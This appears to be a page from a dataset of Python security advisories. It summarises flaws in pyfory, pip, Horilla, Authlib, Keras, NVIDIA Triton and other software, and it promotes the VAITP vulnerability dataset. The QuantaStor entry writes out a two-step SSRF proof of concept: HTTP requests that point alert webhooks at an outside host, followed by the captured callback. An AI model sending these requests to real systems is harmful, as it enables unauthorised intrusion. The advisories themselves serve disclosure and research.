Pyfory unsafe deserialization via pickle fallback allows remote code execution.
Deserialization of untrusted data inย python in pyforyย versions 0.12.0 through 0.12.2, or theย legacyย pyfury versions fromย 0.1.0 through 0.10.3: allows arbitrary code execution. An application is vulnerable if it reads pyfory serialized data from untrusted sources.ย An attacker can craft a data stream that selects pickle-fallback serializer during deserialization, leading to the execution of `pickle.loads`, which isย vulnerable toย remote code execution. Users are recommended to upgrade to pyfory version 0.12.3 or later, which has removed pickle fallback serializer and thus fixes this issue.
pip's tar extraction allows path traversal via symbolic links.
When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn't implement PEP 706. Note that upgrading pip to a "fixed" version for this vulnerability doesn't fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip's fallback implementation of tar extraction for Python versions that don't implement PEP 706 and therefore are not secure to all vulnerabilities in the Python 'tarfile' module. If you're using a Python version that implements PEP 706 then pip doesn't use the "vulnerable" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.
Horilla 1.3.0 has an authenticated RCE via unsafe eval() on a query param.
Horilla is a free and open source Human Resource Management System (HRMS). An authenticated Remote Code Execution (RCE) vulnerability exists in Horilla 1.3.0 due to the unsafe use of Pythonโs eval() function on a user-controlled query parameter in the project_bulk_archive view. This allows privileged users (e.g., administrators) to execute arbitrary system commands on the server. While having Djangoโs DEBUG=True makes exploitation visibly easier by returning command output in the HTTP response, this is not required. The vulnerability can still be exploited in DEBUG=False mode by using blind payloads such as a reverse shell, leading to full remote code execution. This issue has been patched in version 1.3.1.
Authlib JWS validation accepts tokens with unknown critical headers.
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.4, Authlibโs JWS verification accepts tokens that declare unknown critical header parameters (crit), violating RFC 7515 โmustโunderstandโ semantics. An attacker can craft a signed token with a critical header (for example, bork or cnf) that strict verifiers reject but Authlib accepts. In mixedโlanguage fleets, this enables splitโbrain verification and can lead to policy bypass, replay, or privilege escalation. This issue has been patched in version 1.6.4.
Authenticated administrator can configure alerts to trigger a POST-based SSRF.
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { โ ### Python FLASK stuff #### โ'endpoint': 'index', โ 'method': 'POST', โ 'cookies': ImmutableMultiDict([]), โ ### END Python FLASK stuff #### โ 'data': b'{ โโ"attachments": [ โโโ{ โโโโ"fallback": "[122] test / test.", โโโโ"color": "#aa2222", โโโโ"title": "[122] test", โโโโ"text": "test", โโโโ"fields": [ ย โโโโโ{ ย ย โโโโโโ"title": "Alert Severity", ย ย โโโโโโ"value": "CRITICAL", ย ย โโโโโโ"short": false ย โโโโโ}, ย { ย โโโโโโ"title": "Appliance", ย ย โโโโโโ"value": "quantastor (https://<HOSTNAME>)", ย ย โโโโโโ"short": true ย โโโโโ}, ย { ย ย โโโโโโ"title": "System / Driver / Kernel Ver", ย ย โโโโโโ"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", ย ย โโโโโโ"short": false ย โโโโโ}, ย { ย ย โโโโโโ"title": "System Startup", ย ย โโโโโโ"value": "Fri Aug ย 6 16-02-55 2021", ย ย โโโโโโ"short": true ย โโโโโ }, ย { ย ย โโโโโโ"title": "SSID", ย ย โโโโโโ"value": "f4823762-1dd1-1333-47a0-6238c474a7e7", ย ย โโโโโโ"short": true ย โโโโโ}, โโโโ], โโโโ"footer": "QuantaStor Call-home Alert", โโโโ"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", โโโโ"ts": 1628461774 โโโ} โโ], โโ"mrkdwn":true โ}', โ#### FLASK REQUEST STUFF ##### โ'headers': { โโ'Host': '<redacted>', โโ'User-Agent': 'curl/7.58.0', โโ'Accept': '*/*', โโ'Content-Type': 'application/json', โโ'Content-Length': '790' โ}, โ'args': ImmutableMultiDict([]), โ'form': ImmutableMultiDict([]), โ'remote_addr': '217.103.63.173', โ'path': '/payload/58', โ'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
Vasion Print client lacks modern exploit mitigations, risking code execution.
Vasion Print (formerly PrinterLogic) Virtual Appliance Host and Application include Windows client components (PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe, PrinterInstallerClientLauncher.exe) that lack modern compile-time and runtime exploit mitigations and rely on outdated runtimes. These binaries are built as 32-bit, without Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), Control Flow Guard (CFG), or stack-protection, and they incorporate legacy technologies (Pascal/Delphi and Python 2) which are no longer commonly maintained. Several of these processes run with elevated privileges (NT AUTHORITY\SYSTEM for PrinterInstallerClient.exe and PrinterInstallerClientLauncher.exe), and the client automatically downloads and installs printer drivers. The absence of modern memory safety mitigations and the use of unmaintained runtimes substantially increase the risk that memory-corruption or other exploit primitives โ for example from crafted driver content or maliciously crafted inputs โ can be turned into remote or local code execution and privilege escalation to SYSTEM.
Keras load_model allows RCE from crafted models, bypassing safe mode.
The Keras Model.load_modelย method can be exploited to achieve arbitrary code execution, even with safe_mode=True. One can create a specially crafted .kerasย model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed. This is achieved by crafting a special config.jsonย (a file within the .kerasย archive) that will invoke keras.config.enable_unsafe_deserialization()ย to disable safe mode. Once safe mode is disable, one can use the Lambdaย layer feature of keras, which allows arbitrary Python code in the form of pickled code. Both can appear in the same archive. Simply the keras.config.enable_unsafe_deserialization()ย needs to appear first in the archive and the Lambdaย with arbitrary code needs to be second.
Keras `load_model` safe_mode bypass allows RCE via crafted .h5 files.
The Keras Model.load_modelย method can be exploited to achieve arbitrary code execution, even with safe_mode=True. One can create a specially crafted .h5/.hdf5ย model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed. This is achieved by crafting a special .h5ย archive file that uses the Lambdaย layer feature of keras which allows arbitrary Python code in the form of pickled code. The vulnerability comes from the fact that the safe_mode=Trueย option is not honored when reading .h5ย archives. Note that the .h5/.hdf5ย format is a legacy format supported by Keras 3 for backwards compatibility.
Command injection in cbis_manager /api/plugins via unsanitized HTTP headers.
The cbis_manager Podman container is vulnerable to remote command execution via the /api/plugins endpoint. Improper sanitization of the HTTP Headers X-FILENAME, X-PAGE, and X-FIELD allows for command injection. These headers are directly utilized within the subprocess.Popen Python function without adequate validation, enabling a remote attacker to execute arbitrary commands on the underlying system by crafting malicious header values within an HTTP request to the affected endpoint. The web service executes with root privileges within the container environment, the demonstrated remote code execution permits an attacker to acquire elevated privileges for the command execution. Restricting access to the management network with an external firewall can partially mitigate this risk.
NVIDIA Triton Python backend allows RCE via a malicious model name in APIs.
NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability in the Python backend, where an attacker could cause a remote code execution by manipulating the model name parameter in the model control APIs. A successful exploit of this vulnerability might lead to remote code execution, denial of service, information disclosure, and data tampering.
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::